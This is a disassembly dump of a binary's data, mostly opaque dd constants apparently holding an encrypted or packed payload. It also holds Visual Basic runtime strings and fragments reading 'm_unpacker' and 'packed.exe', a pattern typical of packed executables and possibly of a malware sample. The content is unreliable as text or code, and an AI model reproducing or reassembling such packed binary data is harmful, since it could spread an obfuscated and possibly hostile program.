dd 2840549Dh, 0E506E1AEh, 0A1DB1EE9h, 619F5A25h, 27519A65h
dd 0AE636F3Ch, 0D205847Bh, 7A549651h, 4DF68D0h, 4B8CEAE4h
dd 0BBAA5531h, 0FB4442B8h, 9F637B84h, 7436B6A1h, 0C73B4F8Ah
dd 34398225h, 9D536F92h, 1770DB2Eh, 0B833BC0Eh, 0C4000000h
dd 78569651h, 0F8D614CFh, 250E6C52h, 759D5D58h, 0F174837Fh
dd 0C5231D79h, 45EEE802h, 759D5CB8h, 38D463DFh, 9D5934B7h
dd 92EC0275h, 5D39B3B4h, 0FAD414AFh, 0E702F11Eh, 0B00E6A89h
dd 6A4836D4h, 9D5834F9h, 50FF4375h, 40BE845Ah, 8A6DFB97h
dd 0B502FE4Fh, 0A781697Dh, 845DF4BCh, 0D7310949h, 15E2DC1Ch
dd 225B9AD2h, 940AC8A4h, 8BE45AD2h, 0C9824E1h, 215E0000h
dd 0DC1FDAA5h, 9BD215E2h, 55915423h, 136B8E79h, 2EC3CCBBh
dd 3B84027Ah, 78C7BF38h, 0B4037BFDh, 0F4433BB1h, 49D6017Fh
dd 6E7BAE64h, 34B43C23h, 5C820FD8h, 0A991759Dh, 89E702CDh
dd 0B45B420Dh, 7E5836h, 9D5D4AD7h, 75F66975h, 530FF319h
dd 1957E8A4h, 5C67343Fh, 8C8C759Dh, 0FA7DF6D0h, 0AE0A84FBh
dd 6678B2A1h, 89321CF6h, 0EC50B183h, 681DE96Fh, 4EA804E0h
dd 8AFF2DE5h, 228104Fh, 930020A9h, 47B24A6Fh, 0EAE404DFh
dd 4BE9525Dh, 74BABC0Dh, 42000000h, 0B2EF364h, 0FA7C6F93h
dd 75827E9Ch, 9F637B0Eh, 7056B6A1h, 655B4F8Ah, 924F2DF2h
dd 1AF64A6Fh, 0C6C03B3Ch, 8BDC9739h, 256F9250h, 4AA8DC2Fh
dd 924F1499h, 9559176Fh, 39AF8A0Ah, 9D103F03h, 0BC0E8536h
dd 2AE9h, 637B8E00h, 5EB6A19Fh, 434F8A7Eh, 519A4DFFh, 7B6F923Eh
dd 0B0EE16E5h, 923CDAA7h, 0F601F96Fh, 0E0E50BBh, 7D3BCh
dd 0CEE40000h, 89Bh, 0F8637BD7h, 48A6027Ch, 8C580C9Fh
dd 211FE34Fh, 862E5C3h, 57D8A58Eh, 3FF6F8Ch, 576D3225h
dd 0B68A6F8Ch, 3690EE89h, 1150AE49h, 0EB01FDD9h, 85E3479Fh
dd 7B551A52h, 0CD2B1749h, 0D9A6B1EFh, 0FE697B53h, 62880665h
dd 0E901C2BEh, 698762EDh, 2947A26Dh, 0F3EBBFADh, 6206D10Fh
dd 6743684Eh, 271599Bh, 0E486EA6Fh, 0B1929h, 26A0DD00h
dd 635B9E59h, 0BC1A5194h, 0FAD410D3h, 3492EA0Dh, 0F9AD424Bh
dd 0BFBA0581h, 7CF7403Eh, 30339CFAh, 0FE73DCBAh, 65C8559Eh
dd 0A2EF7BAEh, 589651BBh, 0E36CCC7Eh, 9D5CC710h, 0A68C5275h
dd 57FC9F48h, 0FF34F8Ch, 0E9746A40h, 271B318Dh, 0F5E76D4Bh
dd 8576C64Ah, 0F16262EDh, 497B2C1Eh, 0EFE706C1h, 625CBC60h
dd 14548BE1h, 0F671DEBAh, 0A4EC1E78h, 559EF842h, 436A291Dh
dd 0A71F5F00h, 146AEDCBh, 0D42ACDBAh, 0E46A50FAh, 64D0220Bh
dd 0A2D81B27h, 2DDA0624h, 69C00F5Ah, 6ED40AE3h, 0C6FB2730h
dd 0E4C2BD56h, 5EA6AE73h, 0CA75C5DDh, 0CA282A16h, 0C17080A9h
dd 0A5CEA2Bh, 5D920000h, 18539661h, 0D716D1BEh, 91D510FFh
dd 4FAF4A35h, 6A878877h, 0F7403EBEh, 3483FB7Ch, 70DFB731h
dd 0B01F77F5h, 850ADDBBh, 927BAE66h, 637BF81Fh, 0D3B6A19Fh
dd 0D84F8C58h, 0AFCD0660h, 6F8D68D7h, 1A333917h, 0ECEA0C98h
dd 27C7A15Ah, 0E26DC9C5h, 0BE845A2Eh, 7AC48A40h, 0B7099641h
dd 0D22E6F8Bh, 82B9E31Ch, 35CC1775h, 12497B58h, 0F977F02Eh
dd 1CD2329Dh, 0A09683C9h, 5D18274Bh, 0FD85A71Fh, 3C2701E9h
dd 4369DBACh, 845FB981h, 91ED0F66h, 5C2B877Bh, 0C16B6399h
dd 69DBDD6Eh, 58A24463h, 0D856F57Eh, 0FD5D3D58h, 4CA2A583h
dd 0CC22C572h, 58B694F2h, 58D7028Fh, 3A29115Dh, 5D58D675h
dd 9740BE82h, 5D58D70Ah, 3726D129h, 0A368FBD9h, 0B05D58D6h
dd 57F5D12Fh, 65000FEBh, 159D8F07h, 240F69D1h, 3747D349h
dd 402E64EAh, 0FF4C86B3h, 0BEACAC50h, 0D00EF4EAh, 34FA5707h
dd 0C6DE631h, 97A098B2h, 7DF15E5h, 18FCA296h, 9489372h
dd 718E0000h, 2C4FAA15h, 0EB02E552h, 0A5C12493h, 639B5E29h
dd 7EB39C6Bh, 8B7452AAh, 0C8B70F68h, 4F3CB2Dh, 44338BE1h
dd 9966F1AFh, 0BE7BAE67h, 36B48CF3h, 0D7007E58h, 759D5D4Ah
dd 0AA669169h, 49E3DB11h, 5AE7D22Ah, 723F2824h, 81759D5Ch
dd 60E3DDB9h, 3F9D8F07h, 9D5C6734h, 0D08C8C75h, 8EF53827h
dd 11B602EDh, 1Bh, 8916C13Fh, 0AE759D68h, 513EA552h, 5D1BE073h
dd 0C038759Dh, 502C637h, 0D4EF0000h, 6787405Dh, 7B91ED08h
dd 961C2B87h, 0AE8CEA50h, 5D1AE770h, 0C139759Dh, 7FEDE902h
dd 0DDE17483h, 0F84F8A74h, 0BDBCA700h, 4C927E83h, 1876509Ah
dd 426A0DFh, 0A4582BD4h, 91767370h, 526F49C3h, 96BD0220h
dd 4998A555h, 5BB511CDh, 2C25EA7Dh, 0F30B967Bh, 6E99619Bh
dd 2A10D6A2h, 0AEAA1BCCh, 6F4D706Ch, 949A47D9h, 3E25A992h
dd 906D4871h, 0D38DBA86h, 0B836316Fh, 78F671DEh, 70AC41Eh
dd 4BE1BD72h, 8398Ah, 680FD00h, 433BBEB9h, 9CFA71F4h, 0DAB43033h
dd 14728A6Dh, 998DA2ABh, 5F9A6561h, 1CD7A01Eh, 0D013FCDAh
dd 9E533C9Ah, 68A875FEh, 0C2CF7BAEh, 5836B49Bh, 0F5D129B2h
dd 0B2C90A0Ah, 0EBA036D4h, 59A9C84Ah, 5357E05Ch, 9E49A78Bh
dd 4F8CFB15h, 7FF8D62Ah, 3F3A8501h, 8DEBC5C1h, 8CFAD55Ah
dd 0C51EE26Fh, 721E29A5h, 1C7AC026h, 7BF73CCBh, 0F9D72B49h
dd 3986007Eh, 24C6C03Eh, 0E1635B93h, 0E4635931h, 0AFE924C6h
dd 67000007h, 20C38C0Ah, 0FB7EC9C5h, 0BABD0A84h, 7CF7403Eh
dd 0D83582FCh, 93EB0317h, 2EA8C124h, 6A648661h, 0AA245A9Dh
dd 0FF6814DDh, 7BAE6932h, 7B154841h, 0B6A19F63h, 4F8C58DFh
dd 64293A18h, 736F8C58h, 7CDC808Fh, 0ADA7C102h, 8C57F5BAh
dd 423E026Fh, 0DE1CD7B5h, 8C686687h, 0CCCA20C3h, 0AE944A5Eh
dd 6FCBE770h, 72CE4979h, 5E204AF0h
dd 0EA2BC1E4h, 73Ah, 0B8077FFCh, 0F35C3ABDh, 329DF970h
dd 6CDBB337h, 0AA157189h, 60988CA5h, 1D5E9966h, 0D913D6A1h
dd 99D712FDh, 0FF99523Dh, 0AE69A774h, 9AFDCC7Bh, 0B25836B4h
dd 469906CCh, 12CA732Ah, 92EC02E5h, 8D56B4h, 17759D65h
dd 33701C2Bh, 3DB3CE3Dh, 89EC6741h, 1813020Dh, 0B602E1B3h
dd 0EF0660E3h, 2018328Ch, 0CD7AA644h, 0C58h, 96517D00h
dd 6FD07F57h, 300h, 5836B408h, 9006CCB2h, 132C1D81h, 0B9BDA233h
dd 229E8EE7h, 86499D15h, 1AC66462h, 0B219DD9h, 0CA1D7BD7h
dd 4F8CE23Bh, 8C67D028h, 61FA106Eh, 0E8C28D09h, 0B6106BF6h
dd 0BF6BFCDAh, 0AA497BDDh, 81FF7856h, 0DDCF5C87h, 73E4697Bh
dd 0B16983FBh, 0C41F79D5h, 301F28A6h, 42B8B735h, 9E7AA644h
dd 0C9142A0h, 2B697BDEh, 0E0DE1CD7h, 0CA22B557h, 0E7605ECCh
dd 0F7DC6789h, 5E3FA7EFh, 679048E2h, 79579B43h, 68E06EEEh
dd 9641BF43h, 6370BF09h, 5836B52Eh, 51A953FCh, 6E917393h
dd 2FEE9CEAh, 61Eh, 54239BD0h, 8F785691h, 0CEB91554h, 8F7CF2Bh
dd 46318DEDh, 7CFCA849h, 39B2B502h, 0F577F25Dh, 0B5CB2E99h
dd 9B856ED9h, 0AE6AC348h, 0A6D9D07Bh, 0BE3F36B4h, 7EBB6DAAh
dd 78D4741Dh, 49A1A29Ch, 500EC24Dh, 748A679Ah, 3324DBCFh
dd 759D7D6Eh, 2ED9B585h, 8DB354Bh, 759D7D83h, 5ECCA890h
dd 0BD383B59h, 7E0B9043h, 0D028759Dh, 0C635CB74h, 6F67855Eh
dd 0C11977FDh, 50B9318Ah, 52A84BF4h, 3BA08B74h, 7BB602D0h
dd 0EB017DF8h, 181F0837h, 21000000h, 5DCFC726h, 8864629Ah
dd 0D412C746h, 0E26D60DAh, 146CEFBh, 51D70000h, 0D17E5896h
dd 64FED816h, 0D841F3D2h, 5F02C369h, 97000005h, 50937C5Ah
dd 2BCEB915h, 0EA0DFAD4h, 0AC47308Eh, 8885724Ch, 433BB367h
dd 9EF871F4h, 0DAB43631h, 1A748A6Dh, 0FD844ADh, 7BAE6B82h
dd 0B4E51891h, 0E57E5836h, 0D25F8884h, 0E1759D5Ch, 0FE92BD19h
dd 0A8264780h, 36B15E82h, 772CDEB8h, 17F0AF1h, 19DA3A85h
dd 2DF265DFh, 4A759D5Dh, 8AF01AF6h, 9D5CD459h, 0A31FE375h
dd 0E9B21994h, 0D75B602h, 2000000h, 0B7CEh, 0B1CED700h
dd 0D7000000h, 0A19F637Bh, 5D0B9043h, 481C759Dh, 0F0B01503h
dd 3CCB37C5h, 7BFC8B5Ch, 17EB4F8Ch, 7339ADF5h, 8C7C1BE0h
dd 3C0386Fh, 0D630ECEAh, 799AC10Dh, 0E803D449h, 283032EEh
dd 2FE45DF7h, 49C40BDh, 1D520000h, 0D813D6A1h, 97D611FEh
dd 5195503Fh, 0F6F8A75h, 2AC7C8B7h, 3780FE7Eh, 74C3BB3Ch
dd 0B01F77F1h, 0F05F37B5h, 45CA1D7Bh, 527BAE6Ch, 637B385Fh
dd 38B6A19Fh, 3D4F8A30h, 960E3DDh, 0A0A39F8Dh, 78A04A44h
dd 0F776F1CFh, 9525309Fh, 0A46F9210h, 0D9734BA3h, 0EAB70E3h
dd 70C86F92h, 72886B94h, 3148AB14h, 2F56B755h, 7F000004h
dd 0A19F637Bh, 8C57DFB6h, 0A0DF184Fh, 3AB30426h, 0A557E05Ch
dd 29C3BB32h, 0A3F715F1h, 5E99F73Bh, 25A1C41Bh, 0D07FDB07h
dd 76DB67F0h, 2FE4979h, 5E1A42C0h, 0C203A9E4h, 3F2h, 0CFC724h
dd 0BB0482E5h, 0FA4541B8h, 3483FB7Fh, 72DDB931h, 0A8C0D41Dh
dd 6586612Eh, 215B9E69h, 0E11FDAA5h, 0A7D11AE5h, 0AE6CEFBCh
dd 5285047Bh, 1629B51h, 15527069h, 0D41EC0EAh, 0B5BE9CFAh
dd 759E14E8h, 7104330Fh, 4F8D0FA6h, 7C5A9E59h, 3BE512CEh
dd 106EE9C7h, 0D02EC9B6h, 0C65298F6h, 6DEE17CAh, 0DCA46897h
dd 0C6200Ah, 5962C355h, 81FF08E0h, 0D9245A3h, 0F66F8C91h
dd 8C90A06Dh, 0B14BB76Fh, 0B32BBE49h, 0BE497B8Dh, 8DE36442h
dd 4DA34631h, 8C9B60F3h, 40B8697Bh, 0DF1846E4h, 0D60A209Eh
dd 0F25D8129h, 47A11D79h, 0FE6C6A8Ch, 8CCA5780h, 11E9697Bh
dd 2C0A8AB5h, 0CCECFF26h, 19269F9Fh, 68BBAA4Eh, 8143BF43h
dd 0EA6E948Dh, 1B8D48E2h, 0D3000003h, 9C57209Eh, 57927D59h
dd 16D1BE18h, 0E80BF4D2h, 44493690h, 77FFFABh, 423CBDB8h
dd 9EF872F5h, 0DEB83631h, 4B9CF871h, 7BAE6DC6h, 0B4B9DCEDh
dd 8409DA36h, 93759D5Ch, 8659F3AFh, 0D2306E68h, 9D5C7C01h
dd 98A79B75h, 0F25D81A9h, 0A4C41F77h, 7CD8002Ah, 58C5D102h
dd 58A04F8Ah, 58B039B2h, 47A66F92h, 0E41ADD4Fh, 5832FF68h
dd 0F9416F92h, 0B088EF1Dh, 60F85F49h, 0EEDB4099h, 18DBBC0Dh
dd 136888DCh, 4F7EB675h, 76817993h, 2581h, 30B48F00h, 7B32A956h
dd 0B6A19F63h, 4F8A7436h, 8225C73Bh, 6F923439h, 0DB2E9D53h
dd 0BC0E1770h, 0CB33h, 36B4C400h, 0D129B258h, 6E8C57F5h
dd 69303610h, 0F2C876B8h, 9EFC90BFh, 34EAB7A0h, 3109759Eh
dd 0B10D6306h, 0C81B7957h, 759E3543h, 0B67BE850h, 0E4759E34h
dd 0AF60482h, 34763B2Ch, 0BD9D759Eh, 1550A392h, 23759E31h
dd 0E306F1CDh, 8F1B318Dh, 0A2B59357h, 4F8B3E72h, 1876F46Fh
dd 0E5520EF2h, 0F7D119CDh, 85495C6Ch, 0EFC93149h, 0CDBA1454h
dd 7EF4D22Ah, 0E459E800h, 0E7987517h, 2F000001h, 0E80BF4D2h
dd 0A346318Dh, 6285724Ch, 243F8806h, 107DCAC4h, 0DBB3CBDFh
dd 1670896Ch, 522C4EA9h, 92EC02E5h, 8750CC25h, 7BAE6EFAh
dd 516D9019h, 5D1BE073h, 0C038759Dh, 423CBC37h, 0AEB997F5h
dd 759D5CE1h, 7AFD0AF6h, 0C63D8A04h, 0A19F637Bh, 8A7436B6h
dd 0A6CE74Fh, 5B378FEBh, 0E208F0ACh, 92340049h, 6752AA6Fh
dd 0E17A912h, 0A57ABCh, 0B41B0000h, 29B25836h, 9C57F5D1h
dd 759D5959h, 0CAB5116Fh, 116BECCAh, 57E1AEB5h, 0AF6759Dh
dd 8A047AFDh, 64CE1060h, 66E9D90Ah, 64D44F8Ah, 694F979Bh
dd 0A5B216E3h, 392A607Bh, 6F91F174h, 40A4BF83h, 5B8CEA46h
dd 498421F0h, 0C20563DFh, 80632CAAh, 74D46E68h, 0ABE45B0Eh
dd 114C401h, 0A5DA0000h, 609B5E29h, 1F5E9966h, 0D91DD8A7h
dd 97D712FDh, 0B27F503Fh, 0BF0886E6h, 0FC4B43A4h, 3887FF79h
dd 78C7BF3Dh, 0CD5285F3h, 0EA7BAE6Fh, 34B4B0A7h, 81FB7C5Ah
dd 0C3BE705h, 4DA4DA1Dh, 43BFAD29h, 0B42118E7h, 0CCB25836h
dd 5CB845EEh, 63DF759Dh, 0E3DB11D4h, 0AF274285h, 6579B1A0h
dd 0ADB0A39Dh, 0B24F8C57h, 0E51BDC4Eh, 86518FE9h, 6F8C57F9h
dd 13C4221Eh, 6F8C578Eh, 0BBAA55A5h, 292E42B8h, 0E8E60769h
dd 25147E66h, 0B008A349h, 8400B269h, 0EDE90D64h, 29401B31h
dd 785696ADh, 7B4EE4D2h, 4953D80Bh, 98602242h, 0A316C83Ch
dd 5D34ED63h, 836CE2BBh, 37BF174h, 433BB1B4h, 5295F3A9h
dd 528EBC1Ah, 4206FC81h, 18271B22h, 43BD195Dh, 0C3696580h
dd 765CF01Fh, 27809F0h, 0F4A4AA84h, 69362185h, 8E2241E7h
dd 0E1A0BCB2h, 2EC938C7h, 5298F6D0h, 2CA74B36h, 0E6AA552Bh
dd 1127h, 9B51C000h, 5ABF4EACh, 95F17432h, 202F8B77h, 37B41D62h
dd 0D42AAD5Fh, 6D8F50FAh, 760FB11h, 0A2DA9D8Fh, 3DBD0624h
dd 0D410AB41h, 708F50FAh, 863F416h, 56199C8Eh, 0BB53E689h
dd 4, 835BDE01h, 348704EEh, 0F5685C24h, 89000006h, 0A4682434h
dd 89000020h, 0BA52240Ch, 28403027h, 881E281h, 0F2812293h
dd 261105E8h, 24348152h, 48BD39E9h, 0E9F6815Eh, 5A48BD39h
dd 240C8B54h, 4C481h, 52560000h, 144C4BBAh, 24540161h
dd 418F5A04h, 8698108h, 61144C4Bh, 53240C8Bh, 0C381E389h
dd 4, 8704C383h, 8B5C241Ch, 89532434h, 4C381E3h, 81000000h
dd 4C3h, 241C8700h, 2DFBE95Ch, 82B0FFFBh, 9E697400h
dd 756C787Ch, 14A7B8E3h, 0C5030611h, 51DE0FFh, 707270h
dd 7BF2344Fh, 0DA15134Fh, 0ECB47EACh, 91442888h, 15902C4Ah
dd 668F77B1h, 6BED7B6Dh, 22C23228h, 0BD825CD2h, 156A0FE6h
dd 0C4F30885h, 645651F9h, 314A548Bh, 0CB1C1AFEh, 44494C8Dh
dd 0D6A20260h, 8C53197Eh, 0BEEC24BEh, 5CE95FA3h, 0C5000001h
dd 4377E705h, 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h
dd 2E64656Bh, 657865h, 3Ah dup(0)
db 0
db 2 dup(0), 33h
aCannotFindS_Pl db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain db 'ThunRTMain',0
a__vbavartstne db '__vbaVarTstNe',0
db 6Fh
dd 0E97117DFh, 1B1Eh, 11190C68h, 6829E906h, 0C68FFFAh
dd 0E906111Ah, 0FFFA681Fh, 111B2D68h, 6815E906h, 0D368FFFAh
dd 0E906111Bh, 0FFFA680Bh, 111C1268h, 6801E906h, 0D368FFFAh
dd 0E906111Ch, 0FFFA67F7h, 111D2B68h, 67EDE906h, 8768FFFAh
dd 0E906111Dh, 0FFFA67E3h, 1123DC68h, 67D9E906h, 4F68FFFAh
dd 0E9061124h, 0FFFA67CFh, 11252C68h, 67C5E906h, 0F768FFFAh
dd 0E9061125h, 0FFFA67BBh, 11266268h, 67B1E906h, 5668FFFAh
dd 0E9061127h, 0FFFA67A7h, 1127EE68h, 679DE906h, 0A268FFFAh
dd 0E9061128h, 0FFFA6793h, 112EE568h, 6789E906h, 0F468FFFAh
dd 0E906112Fh, 0FFFA677Fh, 1130C868h, 6775E906h, 0A1CFFFAh
dd 0B0C72033h, 66B55281h, 71F886Bh, 0B6CA3B38h, 86ED548Fh
dd 31221D67h, 61F2CFD4h, 9E457084h, 0CA292471h, 0C7832BC1h
dd 48C5850Ah, 0D5DE03F9h, 4CE072F8h, 0C3941D38h, 0B59D4B8Fh
dd 5D86B3C4h, 592D41D3h, 2EC3941Dh, 1A623AD4h, 0CE53DB01h
dd 7F4260E6h, 0DE24D11Bh, 113F13E7h, 0E4592939h, 148C3A60h
dd 5CA6399h, 46E72C35h, 1000000h, 0E4760D6Fh, 6CDDE039h
dd 675B2F16h, 2E8F27C9h, 1FBD9F05h, 1885573Bh, 3C4B320Fh
dd 7313E30Dh, 0A63A60CBh, 56BCCB3Ah, 9F83E121h, 5882E605h
dd 603EB0D4h, 25C3373Ah, 5F8E0283h, 4A2C3514h, 0D0h, 0F8D5DE92h
dd 605FA514h, 4C5F4E9Ch, 297AD37Dh, 73A2A81Ch, 0FBA21629h
dd 0D72B9FA2h, 0AFF855F3h, 0E1DD4192h, 78C39419h, 47C1122Fh
dd 8E724F56h, 64B19C4Ah, 0F785E569h, 6376FE6Ch, 0C44260FFh
dd 633965FEh, 0F09A12D8h, 4B446D5Eh, 0AA5BE577h, 0A5996D54h
dd 0F4C5D4h, 0D12B22CCh, 4DF27CEEh, 0AB7C9E48h, 6662E240h
dd 0E9307311h, 92796691h, 0ADA7665Bh, 0FD07E083h, 83D4B034h
dd 0BC5B3073h, 6881F513h, 0A79BFFEAh, 6ACCFAA8h, 0B609F98Ch
dd 187Ah, 6A89C0D2h, 845F6ABDh, 3221186Bh, 6DF6CDD5h, 9E457880h
dd 0C7DD3027h, 758A7BF8h, 2A7AAB48h, 0D227C013h, 5D8F7CE7h
dd 8504BDC9h, 0DD4332C5h, 296EDADEh, 0C2233014h, 0B95F84B1h
dd 84150BDh, 0A5BEDEDEh, 139B25B7h, 0C3941D77h, 196693B8h
dd 13EC3DADh, 0C475012Fh, 0A9BD9F15h, 0CD5FED51h, 60FB2D59h
dd 6E5BAC3Ah, 0DFE63C91h, 350C12FBh, 13E30D41h, 3A60FB73h
dd 19F3F2A6h, 2C35D6F0h, 0CAD9h, 0D5DE2700h, 5FA514F8h
dd 78549C60h, 0C1C39419h, 0CFF60CB4h, 8A9F08EBh, 0C9D3CBBFh
dd 3104A8B2h, 364260FFh, 354717CCh, 20B23C2Eh, 60CCF88Ch
dd 0FE8A223Ah, 713A60CCh, 9AB48E09h, 6D5CB3CAh, 0E9FA6144h
dd 8567F305h, 7493709Eh, 71CF05EDh, 0AEBC9058h, 95A8F11Ch
dd 0B78E927Bh, 0F7BB20ACh, 46DDA5E1h, 0E5761B24h, 0DC908526h
dd 0FEC1DB32h, 6A522371h, 857AC88Ch, 177Ah, 6A89C0D2h
dd 845F6ABDh, 3221186Bh, 6DF6CDD5h, 9E457880h, 0C7DD3027h
dd 758A7BF8h, 2A7AAB48h, 0D227C013h, 5D8F7CE7h, 8507BDC9h
dd 0DD4332C5h, 71FBDADEh, 3DF249CAh, 0B624D3EEh, 4023CD55h
dd 0FC6752A7h, 3A4EE670h, 8DC394D2h, 0DEA59BB5h, 0BC146DD5h
dd 95E95D68h, 1E8F5DB1h, 0A7502419h, 4F72F44Ah, 0B452B62Dh
dd 0AD98ED5Ch, 0DA0300BFh, 9F3C58D9h, 34EB9860h, 26C0F499h
dd 0C1D2C34Dh, 7DCC00F4h, 57AB1F2Ah, 8C97E5B9h, 6D5CAF5Eh
dd 8529C3h, 5BD9F7Ch, 0B9FE2F3Dh, 23DC3084h, 0BFC8D3CCh
dd 0D830DED7h, 61937808h, 0F6F7AD3Ah, 359AEB02h, 0A8C62Ch
dd 462E0000h, 0C65D3F2Bh, 0A39EE914h, 0A34DFBDFh, 4E1CAA11h
dd 922A43A8h, 0DBA5E074h, 50AABD9Fh, 0C145F77Fh, 39909FBh
dd 1362668Eh, 9DE5E6CFh, 89EDD82Ch, 22EECB63h, 7B5F98C4h
dd 0EB059797h, 0FADEA29Dh, 0E688FC70h, 3B1FDCDBh, 0E99115C7h
dd 46A2D629h, 0EA3FEE7Ch, 9EEB04DFh, 0B0FAA4A3h, 19E96710h
dd 1659A6h, 0A8A7F300h, 7E4B5A4Bh, 0C0F908E5h, 95ACF213h
dd 645BA14Eh, 0FA1158FFh, 0AB449FA6h, 1BF46F52h, 0C421320Dh
dd 0AC5D86B3h, 65C28BCh, 64D3C585h, 0F8D5DEFCh, 0F3881414h
dd 0D40C569h, 0FDC5BD9Fh, 50BD9E66h, 0EDD8764Bh, 8992EAD6h
dd 5FECB63h, 0B4FBD9Fh, 8A84D214h, 498C548h, 1A68BAA4h
dd 0C73B3BB4h, 91A8B15h, 5742123Ch, 0D8CF5426h, 7E1E1EE2h
dd 97FF77E5h, 68D12625h, 0CADDC812h, 6E9F51FFh, 0D3C22825h
dd 0C2068AC5h, 0AD11287Bh, 0A824BF69h, 0F11F2A7Dh, 313E0B1Ch
dd 19A0B28Fh, 0B3E9AEA4h, 0D000015h, 0F411C2F9h, 0A24390A1h
dd 0CF97A57h, 0FB14CFF6h, 0FE459EA1h, 310C14F7h, 81BCC522h
dd 5463B552h, 38151E8Fh, 921AD63Bh, 0C58506F6h, 0DE128A79h
dd 5B6FF8D5h, 0E880522Ch, 1574A51Ah, 0BACC0000h, 60B75083h
dd 16658251h, 0B7CF383Bh, 66BA6B88h, 363D845Fh, 61F2CDD7h
dd 91427F84h, 0CE152074h, 7AF9D421h, 0B7D35B91h, 38C58501h
dd 0D5DED349h, 0A529146Dh, 7DD8D661h, 0A6452FDCh, 0CF6CFE42h
dd 8B72A93Ah, 4854F27Ch, 0A93D2F34h, 0BD9FF470h, 196EF5CDh
dd 162D4F99h, 0CD65A0C4h, 90EA446Ah, 0E9435B4Ah, 0FFD3A79Ah
dd 0EA766D9Bh, 30DEE13Bh, 0D63576A4h, 0DB3646DBh, 0D5F53753h
dd 6E42B894h, 0C44D68FCh, 0D822EADEh, 2279E674h, 0E6D48A57h
dd 0EBB10D3Bh, 0C3788A50h, 0D422F1A2h, 69FD2BC5h, 0ECAFB901h
dd 0A75684FEh, 70FC6752h, 0AD5B7685h, 0ED7A57A0h, 352A3DCFh
dd 0B341060Ch, 0D000014h, 0F411C2F9h, 0A24390A1h, 0CF97A57h
dd 0FB14CFF6h, 0FE459EA1h, 310C14F7h, 81BCC522h, 5463B552h
dd 38151E8Fh, 921AD63Bh, 0C58501F6h, 0A7128A79h, 0C3941D23h
dd 942DB3D3h, 53A451C3h, 4C3CC866h, 0B43C6BDDh, 3C6BFDD4h
dd 0FA754055h, 80524BECh, 5B443B0Fh, 0F5000014h, 5C49AAA1h
dd 0AFB7849h, 0F411C2FFh, 0A34C97AEh, 46FD6659h, 99A4FC1Fh
dd 6954AD5Ah, 3C0B1D8Ah, 80BDC627h, 2A42AE53h, 0C585005Eh
dd 6FFA62D1h, 40E4760Dh, 0BD9F0059h, 0C18529BBh, 463A60CCh
dd 9875D27Ch, 5A9B382h, 3A60CC41h, 4F98FCC6h, 865D5B59h
dd 0FFE3A4AEh, 59000013h, 0ED764Dh, 0EE1FC4F5h, 58B5AEA3h
dd 7E07342h, 0A211C2FDh, 6558A0BBh, 350811FEh, 98B7C12Eh
dd 6C59AA5Bh, 4EE60AF7h, 0C585003Ah, 0DE463E8Dh, 0E2E60ED5h
dd 65C3941Dh, 1D0743EBh, 0B288C394h, 27967A5Eh, 0E313E7D2h
dd 45E41CA9h, 6C32400Dh, 38h, 340B11FCh, 7CE20C40h, 941D27A7h
dd 605DA6C3h, 0CA796BF3h, 179FC3CEh, 3C309673h, 96711599h
dd 8CF63C30h, 67EBCF33h, 137DA0h, 0BA32BC00h, 3C3096CEh
dd 69CF7941h, 176DD5DEh, 0C60A428h, 71C60B8h, 0CC394BD5h
dd 0D7989B4h, 82C3941Dh, 0DBC68EB8h, 0C1BD9F34h, 0F84B3FB7h
dd 0E6DC3A60h, 6CF7CB48h, 0BD16A32h, 0CBBF869Ah, 1F9759F7h
dd 446BC0EEh, 0C6B71B7Fh, 0C95D86BBh, 307DC6B8h, 832BEC3Bh
dd 307DC6C7h, 0B4033246h, 5B806A4Eh, 61D48C08h, 0F56E98AFh
dd 483C0D18h, 0D7BB96E1h, 799E2F69h, 92C9132Eh, 5854C058h
dd 300D1229h, 0FA14084Ch, 0F56E9F79h, 0EF4C2629h, 0B2ED45D7h
dd 0AA2FD9E5h, 1B8h, 760D6FB2h, 53AB5AE4h, 0B32C26Ch, 64BD9F26h
dd 0D821CC1Eh, 16C74BE5h, 0C421320Fh, 343C80B1h, 3A60DB54h
dd 2EB23361h, 5262A0B1h, 43870B42h, 0CCA595B4h, 0EDDC2B22h
dd 0CF542876h, 7B20891Dh, 251D446Ah, 8CB1C637h, 7BB2D65Eh
dd 0CD35307Dh, 3A7E2F23h, 0D324D11Bh
dd 103E12E6h, 5362B657h, 67B05DEFh, 42786AB1h, 5799122h
dd 23B35DB1h, 307DA0A1h, 3F454090h, 0A04D39ADh, 0F8C2307Dh
dd 9AA5FF4Eh, 0FD59AC59h, 0D5299DA8h, 495C0DF1h, 202A9478h
dd 0A06A1E96h, 0D1BD307Dh, 0CDD9C340h, 9A635720h, 0F0D4B885h
dd 0A8515C56h, 5F76C5Dh, 262A4CE4h, 3FCDh, 0DADE2B00h
dd 52A617FBh, 0E7219F63h, 32FB01E6h, 941DCEBAh, 97EC41C3h
dd 8EE226AAh, 4D5540AAh, 34B88276h, 0C3941D50h, 5D8FE3D7h
dd 941DBDC9h, 1EC832C3h, 0F092BB45h, 0C1BF3240h, 59000000h
dd 0E4760D6Fh, 9EFF1140h, 0D0A49EBDh, 1074F80Ah, 973A60CFh
dd 7D8885A3h, 2F76974Ch, 0A8FFAE12h, 494B3599h, 8D8734BCh
dd 0D66E3701h, 7B8A83ADh, 0C26B954Eh, 0EF2C3587h, 74h
dd 0BB33BD09h, 0C3941DCFh, 0F0CC7A40h, 204496A9h, 0C3941DF4h
dd 0D5578416h, 313CDFD7h, 0C5CFBB4Bh, 7A40C394h, 9BB58493h
dd 72F246BCh, 0C394C612h, 6B830DDFh, 0C394CA1Fh, 13FE7190h
dd 5D031EB6h, 0D8D5CF79h, 665DA550h, 0C90BE92h, 0F600EA6Dh
dd 78C1F007h, 56AA1E23h, 16082CB8h, 1B7FC394h, 59A14CD8h
dd 87CF07Ah, 9FC39417h, 11968DBBh, 3E000000h, 53C8h, 129A2400h
dd 0C3941D76h, 0F16781F9h, 0CFBB33BDh, 40C3941Dh, 3241CC7Ah
dd 0B3C2AB1Fh, 5CA95486h, 8FB99D61h, 48EC3BD4h, 45B90D30h
dd 2195A0F4h, 0E50589EDh, 2B3B8F98h, 0C56B4F64h, 1098158Fh
dd 1D1A6E86h, 95EDC394h, 0F168817Bh, 6B413240h, 0AF00000Bh
dd 764B50BDh, 0A9477287h, 0BFF8815h, 4B3FB7C1h, 0DCC3941Dh
dd 77BC48E6h, 923B3F08h, 0DC0D8706h, 0F5A894D8h, 32h, 0E40E6F13h
